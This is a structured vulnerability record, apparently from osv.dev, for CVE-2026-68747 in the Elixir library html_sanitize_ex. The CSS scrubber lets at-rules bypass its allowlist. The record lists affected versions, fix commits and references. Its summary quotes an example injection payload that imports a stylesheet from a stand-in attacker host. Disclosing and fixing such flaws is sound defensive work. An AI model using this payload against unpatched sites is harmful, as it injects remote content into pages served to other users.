CSS sanitizer allowlist bypass in html_sanitize_ex via non-declaration input

{
  "id": "30619a75f055051a451a1c4fdebd5457e37ff470325f5a7f1ba8f19804353608",
  "url": "https://osv.dev/vulnerability/CVE-2026-68747",
  "method": "structured",
  "payload": {
    "kind": "advisory",
    "title": "CSS sanitizer allowlist bypass in html_sanitize_ex via non-declaration input",
    "summary": "Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed. Element boundaries are resolved before the scrubber runs, so injected content does not escape the",
    "evidence": "osv:CVE-2026-68747",
    "products": [],
    "severity": "low",
    "structured": {
      "id": "CVE-2026-68747",
      "aliases": [
        "CVE-2026-68747",
        "EEF-CVE-2026-68747",
        "GHSA-87v2-pfhj-r5x7"
      ],
      "metrics": [
        {
          "type": "CVSS_V4",
          "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"
        }
      ],
      "affected": [
        {
          "ranges": [
            {
              "repo": "https://github.com/rrrene/html_sanitize_ex",
              "type": "GIT",
              "events": [
                {
                  "introduced": "088f92b18a4a3911a862b527d5eb3713f9abac24"
                },
                {
                  "fixed": "de5cc8085029dae9136af47a9c4712152d8a76f0"
                },
                {
                  "fixed": "0b9f9ad63a7529d4f2c3c1134c371adc3e654308"
                },
                {
                  "fixed": "c311a499db0b0baef06493fb3cfeb730c0f18f28"
                }
              ],
              "database_specific": {
                "extracted_events": [
                  {
                    "cpe": "cpe:2.3:a:rrrene:htmlsanitizeex:*:*:*:*:*:*:*:*",
                    "range": [
                      {
                        "introduced": "0.3.1"
                      },
                      {
                        "fixed": "1.5.4"
                      }
                    ],
                    "source": "CPE_RANGE"
                  },
                  {
                    "range": [
                      {
                        "fixed": "0b9f9ad63a7529d4f2c3c1134c371adc3e654308"
                      }
                    ],
                    "source": "REFERENCES_COMMIT"
                  },
                  {
                    "range": [
                      {
                        "fixed": "c311a499db0b0baef06493fb3cfeb730c0f18f28"
                      }
                    ],
                    "source": "REFERENCES_COMMIT"
                  }
                ]
              }
            }
          ],
          "versions": [
            "v1.4.4",
            "v1.5.3",
            "v1.5.2",
            "v1.5.1",
            "v1.5.0",
            "v1.5.0-rc.0",
            "v1.4.3",
            "v1.4.2",
            "v1.4.1",
            "v1.2.0",
            "v1.0.1",
            "v1.0.0",
            "v0.3.1"
          ],
          "database_specific": {
            "source": "https://storage.googleapis.com/cve-osv-conversion/osv-output/CVE-2026-68747.json"
          }
        }
      ],
      "modified": "2026-10-28T02:30:39.449435436Z",
      "provider": "osv",
      "references": [
        "https://cna.erlef.org/cves/CVE-2026-68747.html",
        "https://github.com",
        "https://osv.dev/vulnerability/EEF-CVE-2026-68747",
        "https://repo.hex.pm",
        "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/68xxx/CVE-2026-68747.json",
        "https://github.com/rrrene/html_sanitize_ex/security/advisories/GHSA-87v2-pfhj-r5x7",
        "https://nvd.nist.gov/vuln/detail/CVE-2026-68747",
        "https://github.com/rrrene/html_sanitize_ex/commit/0b9f9ad63a7529d4f2c3c1134c371adc3e654308",
        "https://github.com/rrrene/html_sanitize_ex/commit/c311a499db0b0baef06493fb3cfeb730c0f18f28",
        "https://github.com/rrrene/html_sanitize_ex"
      ],
      "provider_metadata": {
        "cwe_ids": [
          "CWE-74"
        ],
        "cna_assigner": "EEF",
        "osv_generated_from": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/68xxx/CVE-2026-68747.json"
      }
    },
    "related_cves": [
      {
        "value": "CVE-2026-68747",
        "evidence": "/id"
      }
    ],
    "security_relevant": true,
    "severity_evidence": "/severity/0/score"
  },
  "source_id": "core-osv",
  "document_id": 507201,
  "published_at": "2026-08-06T14:50:03.143+00:00"
}